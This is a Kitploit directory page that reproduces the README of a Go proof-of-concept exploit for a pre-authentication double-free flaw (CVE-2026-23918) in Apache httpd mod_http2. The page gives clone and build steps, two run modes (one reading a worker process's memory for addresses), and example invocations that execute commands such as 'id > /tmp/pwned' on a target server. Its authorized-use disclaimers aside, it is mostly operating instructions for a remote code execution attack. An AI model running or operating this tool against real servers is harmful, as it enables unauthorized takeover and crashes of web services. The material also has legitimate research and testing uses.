Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23918-Double-free-Apache-httpd-mod_http2 — Go-based proof-of-concept exploit for CVE-2026-23918 targeting a double-free vulnerability in Apache httpd mod_http2, enabling pre-auth remote code execution via memory spray and trigger sequences. | Kitploit
Tools/GitHubGitHub/gagaltotal/cve-2026-23918-double-free-apache-httpd-mod_http2
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubgagaltotal/cve-2026-23918-double-free-apache-httpd-mod_http2

CVE-2026-23918-Double-free-Apache-httpd-mod_http2

Go-based proof-of-concept exploit for CVE-2026-23918 targeting a double-free vulnerability in Apache httpd mod_http2, enabling pre-auth remote code execution via memory spray and trigger sequences.

View Repository
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-23918 - Apache httpd mod_http2 PoC

This repository contains a proof-of-concept implementation written in Go for a pre-authentication memory corruption scenario affecting Apache httpd with mod_http2. The code in this repository demonstrates a spray-and-trigger approach against a vulnerable target and is intended for authorized security research, testing, and defensive analysis.

Overview

The project focuses on a proof-of-concept exploit for CVE-2026-23918 and provides a single-file implementation in exploit_poc.go. The program:

  • Builds a crafted HTTP request payload
  • Performs memory spray activity against a target service
  • Sends an HTTP/2 trigger sequence
  • Attempts to execute a supplied command through the vulnerable execution path

This repository is not intended for unauthorized use against third-party systems.

Project Structure

  • exploit_poc.go - Main Go implementation of the PoC
  • go.mod - Go module definition
  • exploit - Project-related artifacts or helper assets
  • images - Screenshots or supporting images

Prerequisites

Before building or running the PoC, ensure that the following are available:

  • Go 1.26.4 or a compatible newer version
  • Root privileges if using automatic memory address extraction via /proc//mem
  • Network access to the target Apache httpd instance
  • A test environment that you are authorized to assess

Build And Init Installation

Build the binary with the following command:

root@kitploit:~
git clone https://github.com/gagaltotal/CVE-2026-23918-Double-free-Apache-httpd-mod_http2
cd CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod init CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod tidy
go run exploit_poc.go
go build -o exploit exploit_poc.go

This generates an executable named exploit in the project root.

Usage

Screen Capture

Screen Capture

The PoC supports two operational modes:

1. Automatic mode with PID-based address extraction

This mode requires root access and automatically extracts the required memory addresses from the target Apache worker process.

root@kitploit:~
sudo ./exploit \
  --pid 1234 \
  --host 192.168.1.100 \
  --port 443 \
  --cmd "id > /tmp/pwned"

2. Manual mode with explicit addresses

This mode requires the addresses of the system function and the scoreboard request slot to be provided manually.

root@kitploit:~
./exploit \
  --host 192.168.1.100 \
  --port 443 \
  --system 0x7f1234567890 \
  --scoreboard 0x7f1234000000 \
  --cmd "id > /tmp/pwned"

Command-Line Options

The main options are:

  • --host - Target hostname or IP address
  • --port - Target port (default: 443)
  • --workers - Number of spray worker threads (default: 32)
  • --cmd - Command to execute on the target
  • --pid - Apache worker process ID for automatic memory address extraction
  • --system - Address of the system symbol in manual mode
  • --scoreboard - Address of the scoreboard request slot in manual mode

Example Commands

Auto-extract and execute a command

root@kitploit:~
sudo ./exploit --pid 1234 --host 10.0.0.20 --cmd "whoami"

Manual mode with explicit addresses

root@kitploit:~
./exploit \
  --host 10.0.0.20 \
  --system 0x7f1234567890 \
  --scoreboard 0x7f1234000000 \
  --cmd "uname -a"

Notes

  • The exploit may crash or destabilize the target service.
  • Use only against systems you own or are explicitly authorized to test.
  • The program handles SIGINT and SIGTERM to stop the spray loop gracefully.

Responsible Use

This repository is provided for educational purposes and defensive security evaluation. Any use outside of a controlled and authorized environment is discouraged and may violate applicable laws or policies.

Download Tool